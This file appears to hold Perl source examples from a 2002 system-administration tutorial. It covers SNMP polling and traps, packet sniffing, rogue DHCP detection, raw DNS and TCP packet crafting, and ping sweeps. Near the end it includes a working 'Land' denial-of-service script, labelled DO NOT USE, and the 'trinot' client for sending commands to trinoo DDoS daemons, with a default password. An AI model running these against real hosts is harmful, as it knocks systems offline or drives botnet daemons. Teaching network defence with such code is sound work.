# Source Code Examples for 
# "S9: Perl for System Administration: The Networking Power Hours, Part 1"
# LISA2002 Tutorial
# David N. Blank-Edelman
# November 3, 2002

# Note: portions of this source code are excerpted from Perl for
# System Administration by David N. Blank-Edelman, O'Reilly and
# Associates, 1st Edition, ISBN 1-56592-609-9 and have the following
# copyright: ©2000 David N. Blank-Edelman and O'Reilly and
# Associates. Permission is granted to use this material providing you
# attach this copyright statement and it not be used for published
# material without prior permission.

# The rest (except where noted) is ©2002 Northeastern University and
# David N. Blank-Edelman. All Rights Reserved.

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SNMP Get Request Example
use SNMP;

$session = new SNMP::Session(DestHost  =>'127.0.0.1',Community =>'public',
			  Version   =>'1');
print $session->get("sysDescr.0");

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SNMP Get Request (Net::SNMP) Example
use Net::SNMP;

# requires a host name and a community string as its arguments
($session,$error) = Net::SNMP->session(Hostname => $ARGV[0],
                                       Community => $ARGV[1]);

die "session error: $error" unless ($session);

# iso.org.dod.internet.mgmt.mib-2.interfaces.ifNumber.0 = 
#   1.3.6.1.2.1.2.1.0
$result = $session->get_request("1.3.6.1.2.1.2.1.0");

die "request error: ".$session->error unless (defined $result);

$session->close;

print "Number of interfaces: ".$result->{"1.3.6.1.2.1.2.1.0"}."\n";

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SNMP Get-Next Request Example
use SNMP;
 
$session = new SNMP::Session(DestHost => $ARGV[0],
 				     Community => $ARGV[1],
				     Version   => 1,
                             UseSprintValue => 1);
die "session creation error: $SNMP::Session::ErrorStr" unless (defined $session);

$vars = new SNMP::VarList(['ipNetToMediaNetAddress'],      			      ['ipNetToMediaPhysAddress']);

($ip,$mac) = $session->getnext($vars);
die $session->{ErrorStr} if ($session->{ErrorStr});

while (!$session->{ErrorStr} and 
       $vars->[0]->tag eq "ipNetToMediaNetAddress"){
          print "$ip -> $mac\n";
          ($ip,$mac) = $session->getnext($vars);
}; 

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SNMP Multiple Table Example
#*
#* show the port to ethernet address mapping on a Cisco Catalyst 5x00 switch
#*

use SNMP;

# These are the extra MIB module files we need, found in the same 
# directory as this script
$ENV{'MIBFILES'}=
  "CISCO-SMI.my:FDDI-SMT73-MIB.my:CISCO-STACK-MIB.my:BRIDGE-MIB.my";

# Connect and get the list of VLANs on this switch
$session = new SNMP::Session(DestHost => $ARGV[0], 
                             Community => $ARGV[1]);
die "session creation error: $SNMP::Session::ErrorStr" unless 
  (defined $session);

# enterprises.cisco.workgroup.ciscoStackMIB.vlanGrp.vlanTable.vlanEntry 
# in CISCO-STACK-MIB
$vars = new SNMP::VarList(['vlanIndex']);
                          
$vlan = $session->getnext($vars);
die $session->{ErrorStr} if ($session->{ErrorStr});

while (!$session->{ErrorStr} and $$vars[0]->tag eq "vlanIndex"){

    # VLANS 1000 and over are not "real" ON A CISCO CATALYST 5XXX
    # (this limit is likely to be different on different switches)
    push(@vlans,$vlan) if $vlan < 1000;

    $vlan = $session->getnext($vars);
};
undef $session,$vars;
# for each VLAN, query for the bridge port, the interface number 
# associated with that port, and then the interface name for that 
# port number
foreach $vlan (@vlans){
    # note our use of "community string indexing" as part 
    # of the session setup
    $session = new SNMP::Session(DestHost => $ARGV[0], 
                                 Community => $ARGV[1]."@".$vlan,
                                 UseSprintValue => 1);

    die "session creation error: $SNMP::Session::ErrorStr" 
      unless (defined $session);
  
    # from transparent forwarding port table at 
    # dot1dBridge.dot1dTp.dot1dTpFdbTable.dot1dTpFdbEntry 
    # in RFC1493 BRIDGE-MIB
    $vars = new SNMP::VarList(['dot1dTpFdbAddress'],['dot1dTpFdbPort']);

    ($macaddr,$portnum) = $session->getnext($vars);
    die $session->{ErrorStr} if ($session->{ErrorStr});

    while (!$session->{ErrorStr} and 
           $$vars[0]->tag eq "dot1dTpFdbAddress"){

        # dot1dBridge.dot1dBase.dot1dBasePortTable.dot1dBasePortEntry
        # in RFC1493 BRIDGE-MIB
        $ifnum = (exists $ifnum{$portnum}) ? $ifnum{$portnum} :
	  ($ifnum{$portnum} = 
	   $session->get("dot1dBasePortIfIndex\.$portnum"));

        # from ifMIB.ifMIBObjects.ifXTable.ifXEntry in RFC1573 IF-MIB
        $portname = (exists $portname{$ifnum}) ? $portname{$ifnum} :
	  ($portname{$ifnum}=$session->get("ifName\.$ifnum"));            

        print "$macaddr on VLAN $vlan at $portname\n";

        ($macaddr,$portnum) = $session->getnext($vars);
    };

    undef $session, $vars, %ifnum, %portname;
}

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SNMP v1 Trap Sending Example
use SNMP;
$s = new SNMP::TrapSession(…);
$s->trap(enterprise =>'.1.3.6.1.4.1.2021', 
	    agent      =>'127.0.0.1', 
	    generic    => 2, 
	    specific   => 0, 
	    uptime     => 1234, 
	    [[ifIndex, 1,1],
		[sysLocation, 0, "philly"]]);




#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SNMP v1 Trap Receipt Example
use SNMP_Session; 
use BER; 

$s = SNMP_Session->open_trap_session() or die "cannot open trap session"; 

($trap, $sender_addr, $sender_port) = $trap_session->receive_trap() or 
  die "cannot receive trap"; 

($community,$enterprise,$agent,$generic,$specific,$sysUptime,$bindings) = $session->decode_trap_request($trap) or die "cannot decode trap received" 

while ($bindings ne '') { 
 ($binding,$bindings) = &decode_sequence($bindings); 
 ($oid, $value) = decode_by_template("%O%@"); 
 print BER::pretty_oid($oid)," => ", pretty_print($value),"\n"; 
} 

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SNMP v2 Getbulk/Bulkwalk Example
use SNMP;
$s = new SNMP::Session(DestHost => $ARGV[0],
			     Community => $ARGV[1],
			     Version   => 2,
                       UseSprintValue => 1);

$numInts = $s->get('ifNumber.0');
($desc,$in,$out) = $s->bulkwalk(0,$numInts+1,
                   		  [['ifDescr'],
		      	         ['ifInOctets'],
			 	         ['ifOutOctets']]);
for $i (0..($numInts - 1)) {
  printf "Interface %4s: %s inOctets, %s outOctets\n",
        $$desc[$i]->val, $$in[$i]->val, $$out[$i]->val;
}

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SNMP v2 Trap Sending Example
use SNMP;
$s = new SNMP::TrapSession(DestHost => $ARGV[0],
			    	   Community => $ARGV[1],
			     	   Version   => 2,
                       	   UseSprintValue => 1);


$s->trap(oid => 'linkDown', uptime => 1234, 
   [[ifIndex, 1,1],[ifAdminStatus,0,1],[ifOperStatus,0,1]]);

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PcapUtils Simple Example
use Net::PcapUtils;
sub gotapacket {
	my ($userdata,$header,$packet); 
	print "got a packet of length ", 
	   $header->{caplen},"\n"; 
}

Net::PcapUtils::loop(\&gotapacket);
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PcapUtils with a Filter Example
use Net::PcapUtils;

sub gotapacket {
	my ($userdata,$header,$packet); 
	print "got a packet of length ",$header->{caplen},"\n"; 
}

Net::PcapUtils::loop(\&gotapacket,
			   NUMPACKETS => 10,
			   FILTER => "tcp[13] & 2 != 0 and src net not 192.168.0");

#=-=-=-=-=-=-=-=-=-=-= Overly Simplistic Rogue DHCP Server Detection Example
use NetPacket::Ethernet qw(:strip);
use NetPacket::IP qw(:strip); 
use NetPacket::TCP;
use Net::PcapUtils;

@approvedservers{"192.168.0.2","192.168.0.3"} = ();

$filt = "dst port 68";

die "Unable to perform capture:".Net::Pcap::geterr($descript)."\n"
  if (Net::PcapUtils::loop(\&grabipandcompare, FILTER => $filt));

sub grabipandcompare{
    my ($arg,$hdr,$pkt) = @_ ;

    $server_ip = NetPacket::IP->decode(
             NetPacket::Ethernet::strip($pkt))->{'src_ip'};

    warn "Rogue DHCP server: $server_ip!\n"
      unless exists $approvedservers{$server_ip};
}

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Sniff and Ping Example

#*
#* network sniff for SYN packets and ping back (all in Perl)
#*

use Net::PcapUtils;

use NetPacket::Ethernet;
use NetPacket::IP;
use Net::Ping;

# local network 
$localnet = "192.168.1";
# filter string that looks for SYN-only packets not originating from 
# local network
$prog = "tcp[13] = 2 and src net not $localnet"; 
$| = 1; # unbuffer STDIO

# construct the ping object we'll use later
$p = new Net::Ping("icmp");

# and away we go
die "Unable to perform capture:".Net::Pcap::geterr($descript)."\n"
  if (Net::PcapUtils::loop(\&grab_ip_and_ping, FILTER => $prog));

# find the source IP address of a packet, and ping it (once per run)
sub grab_ip_and_ping{
    my ($arg,$hdr,$pkt) = @_ ;

    # get the source IP adrress
    $src_ip = NetPacket::IP->decode(
			    NetPacket::Ethernet::strip($pkt))->{src_ip};

    print "$src_ip is ".(($p->ping($src_ip)) ? "alive" : "unreachable")."\n" 
      unless $cache{$src_ip}++;
}

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Creating Packets By Hand Example
#*
#* checking DNS server response integrity "by hand" using raw sockets
#*

use IO::Socket;
$hostname = $ARGV[0];
$defdomain = ".oog.org"; # default domain if not present

@servers = qw(nameserver1 nameserver2 nameserver3); # name of the name servers
foreach $server (@servers) {
    &lookupaddress($hostname,$server);              # populates %results
}
%inv = reverse %results;        # invert the result hash
if (scalar(keys %inv) > 1) {    # see how many elements it has
    print "There is a discrepancy between DNS servers:\n";
    use Data::Dumper;
    print Data::Dumper->Dump([\%results],["results"]),"\n";
}

sub lookupaddress{
    my($hostname,$server) = @_;

    my($qname,$rname,$header,$question,$lformat,@labels,$count);
    local($position,$buf);

    ###
    ### Construct the packet header
    ###
    $header = pack("n C2 n4", 
		   ++$id,  # query id
		   1,  # qr, opcode, aa, tc, rd fields (only rd set)
		   0,  # rd, ra
		   1,  # one question (qdcount)
		   0,  # no answers (ancount)
		   0,  # no ns records in authority section (nscount)
		   0); # no addtl rr's (arcount)

    # if we do not have any separators in the name of the host, 
    # append the default domain
    if (index($hostname,'.') == -1) {
	$hostname .= $defdomain;
    }
    
    # construct the qname section of a packet (domain name in question) 
    for (split(/\./,$hostname)) {
	$lformat .= "C a* ";
	$labels[$count++]=length;
	$labels[$count++]=$_;
    }
    
    ###
    ### construct the packet question section
    ###
    $question = pack($lformat."C n2",
		     @labels,
		     0,  # end of labels
		     1,  # qtype of A 
		     1); # qclass of IN
    
    ###
    ### send the packet to the server and read the response
    ###
    $sock = new IO::Socket::INET(PeerAddr => $server,
				 PeerPort => "domain",
				 Proto    => "udp");
    
    $sock->send($header.$question);
    # we're using UDP, so we know the max packet size
    $sock->recv($buf,512); 
    close($sock);
    
    # get the size of the response, since we're going to have to keep 
    # track of where we are in the packet as we parse it (via $position)
    $respsize = length($buf);
    
    ### 
    ### unpack the header section
    ###
    ($id,
     $qr_opcode_aa_tc_rd,
     $rd_ra,
     $qdcount,
     $ancount,
     $nscount,
     $arcount) = unpack("n C2 n4",$buf);
    
    if (!$ancount) {
	warn "Unable to lookup data for $hostname from $server!\n";
	return;
    }

    ###
    ### unpack the question section
    ###
    # question section starts 12 bytes in
    ($position,$qname) = &decompress(12); 
    ($qtype,$qclass)=unpack('@'.$position.'n2',$buf);
    # move us forward in the packet to end of question section
    $position += 4; 
    
    ###
    ### unpack all of the resource record sections
    ###
    for ( ;$ancount;$ancount--){
	($position,$rname) = &decompress($position);
	($rtype,$rclass,$rttl,$rdlength)=
	  unpack('@'.$position.'n2 N n',$buf);
	$position +=10;
        # this next line could be changed to use a more sophisticated 
        # data structure, it currently picks the last rr returned            
        $results{$server}=
	  join('.',unpack('@'.$position.'C'.$rdlength,$buf));
	$position +=$rdlength;
    }
}    

# handle domain information which is "compressed" as per RFC1035
# we take in the starting position of our packet parse and return
# the name we found (after dealing with the compressed format pointer)
# and the place we left off in the packet at the end of the name we found
sub decompress { 
    my($start) = $_[0];
    my($domain,$i,$lenoct);
    
    for ($i=$start;$i<=$respsize;) { 
	$lenoct=unpack('@'.$i.'C', $buf); # get the length of label

	if (!$lenoct){        # 0 signals we are done with this section
	    $i++;
	    last;
	}

	if ($lenoct == 192) { # we've been handed a pointer, so recurse
	    $domain.=(&decompress((unpack('@'.$i.'n',$buf) & 1023)))[1];
	    $i+=2;
	    last
	}
	else {                # otherwise, we have a plain label
	    $domain.=unpack('@'.++$i.'a'.$lenoct,$buf).'.';
	    $i += $lenoct;
	}
    }
    return($i,$domain);
}
 

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= NetPacket Packet Creation Example
# from NetPacket::TCP doc sans comments

use Net::Divert;
use NetPacket::IP qw(IP_PROTO_TCP);
use NetPacket::TCP;

$divobj = Net::Divert->new('yourhostname',9999);
$divobj->getPackets(\&alterPacket);

sub alterPacket {
   my($packet,$fwtag) = @_;
   $ip_obj = NetPacket::IP->decode($packet);
   if($ip_obj->{proto} == IP_PROTO_TCP) {
      $tcp_obj = NetPacket::TCP->decode($ip_obj->{data});
      $tcp_obj->{flags} |= SYN;
      $ip_obj->{data} = $tcp_obj->encode($ip_obj);
      $packet = $ip_obj->encode;
    }
	 $divobj->putPacket($packet,$fwtag);
}

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Net::RawSock Packet Creation Example
# slightly modified from Net::RawSock doc
use Net::RawSock;
use NetPacket::IP;
use NetPacket::TCP;

## Init IP & TCP packet structures
my $ip = NetPacket::IP->decode(''); 
my $tcp = NetPacket::TCP->decode('');

$ip->{ver} = 4; $ip->{hlen} = 5; $ip->{tos} = 0;
$ip->{id} = 0x1d1d; $ip->{ttl} = 0x5a; 
$ip->{src_ip} = '127.0.0.1';
$ip->{dest_ip} = '127.0.0.1';
$ip->{flags} = 2; $ip->{proto} = 6; 

$tcp->{hlen} = 5; $tcp->{winsize} = 0x8e30; 
$tcp->{src_port}  = 13579;$tcp->{dest_port} = 80;
$tcp->{seqnum} = 0xFEED; $tcp->{acknum} = 0xC0DE;
$tcp->{flags} = SYN | FIN;

$ip->{data} = $tcp->encode($ip);
my $pkt     = $ip->encode;

Net::RawSock::write_ip($pkt);

#==-=-=-=-=-=-=-=-=-= Net::RawIP Land DOS Attack Example (*DO NOT USE*)
# from the Net::RawIP examples
require 'getopts.pl'; # from the Net::RawIP examples
use Net::RawIP;
Getopts('i:p:');
$a = new Net::RawIP;
die "Usage $0 -i <target> -p <target port>" unless ($opt_i && $opt_p);
$a->set({ ip => {saddr => $opt_i,
                 daddr => $opt_i
                 },
          tcp=> {dest => $opt_p,
                 source => $opt_p,
                 psh => 1,
                 syn => 1}
        });                             
$a->send;


#=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-= Net::RawIP DDOS Control Client Example

# from http://staff.washington.edu/dittrich/misc/trinoo.analysis
# Copyright 1999 David Dittrich, University of Washington


#!/usr/bin/perl -w
#
# trinot v. 1.1
# By Dave Dittrich <dittrich@cac.washington.edu>
# 
# Send commands to trinoo daemon(s), causing them to PONG, *HELLO*
# to all their masters, exit, etc.  Using this program (and knowledge
# of the proper daemon password), you can affect trinoo daemons
# externally and monitor packets to verify if the daemons are up,
# expose their masters, or shut them down.
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./trinot host1 [host2 [...]]
#          ./trinot -S host
#          ./trinot -p password -P host
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek <ian.vitek@infosec.se>)

require 'getopts.pl';
use Net::RawIP;

$a = new Net::RawIP({udp => {}});
chop($hostname = `hostname`);

Getopts('PSDp:f:s:d:l:i:vh');
die "usage: $0 [options] host1 [host2 [...]]\
\t-P\t\t\tSend \"png\" command\
\t-S\t\t\tSend \"shi\" command\
\t-D\t\t\tSend \"d1e\" command (default)\
\t-p password\t\t(default:\"l44adsl\")
\t-f from_host\t\t(default:$hostname)\
\t-s src_port\t\t(default:random)\
\t-d dest_port\t\t(default:27444)\
\t-l ipfile\t\tSend to IP addresses in ipfile\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );

# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$s_port = ($opt_s) ? $opt_s : int rand 65535;
$d_port = ($opt_d) ? $opt_d : 27444;
$pass = ($opt_p) ? $opt_p : "l44adsl";

# choose network card
if($opt_e) {
  $a->ethnew($opt_i, dest => $opt_e);
} else {
  $a->ethnew($opt_i);
}

$cmd = ($opt_P) ? "png $pass" :
       ($opt_S) ? "shi $pass" :
       ($opt_D) ? "d1e $pass" :
       "d1e $pass";
$s_host = ($opt_f) ? $opt_f : $hostname;

if ($opt_l) {
  open(I,"<$opt_l") || die "could not open file: '$opt_l'";
  while (<I>) {
    chop;
    push(@ARGV,$_);
  }
  close(I);
}

foreach $d_host (@ARGV) {
  $a->set({ip => {saddr => $s_host, daddr => $d_host},
           udp => {source => $s_port, dest => $d_port, data => $cmd}
          });
  print "sending '$cmd' to $d_host\n" if $opt_v;
  $a->send;
}

exit(0);

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Ping Scan Example
use Net::Ping;
use Net::Netmask;

my $ping = new Net::Ping;

die $Net::Netmask::error 
  unless my $netblock = new2 Net::Netmask ($ARGV[0]);

my $blocksize = $netblock->size() - 1; 

for (my $i=1;$i <= $blocksize;$i++){
    my $addr = $netblock->nth($i);
    push(@addrs, $addr) if $ping->ping($addr,1);
}
print "Found\n", join("\n",@addrs)

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Text::FormatTable Example
use SNMP;

use Text::FormatTable;

my $table = new Text::FormatTable('| l | l |');
$table->rule('-');
$table->head("Next Hop", "Destination");
$table->rule('-');

my $session = new SNMP::Session(DestHost => $ARGV[0],
			     Community => $ARGV[1],
			     Version   => 1,
                                      UseSprintValue => 1);
die "session creation error: $SNMP::Session::ErrorStr" unless (defined $session);

my $vars = new SNMP::VarList(['ipRouteNextHop'],
			         ['ipRouteDest']);

my ($nexthop,$dest) = $session->getnext($vars);
my ($ablesize);
die $session->{ErrorStr} if ($session->{ErrorStr});

while (!$session->{ErrorStr} and 
       $vars->[0]->tag eq 'ipRouteNextHop'){
          $table->row($nexthop,$dest);
          $tablesize++;
          ($nexthop,$dest) = $session->getnext($vars);
}; 

$table->rule('-');

print $table->render(78);

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= GD::Graph Example
use GD::Graph::linespoints;
@data=([1,4,3,2,5],
	 [1,3,2,4,1]);

my $g = 
new GD::Graph::linespoints;
$g->plot(\@data);

open (T,">t.png");
binmode T;
print T $g->gd->png;
close T;


# more samples can be found at http://www.otterbook.com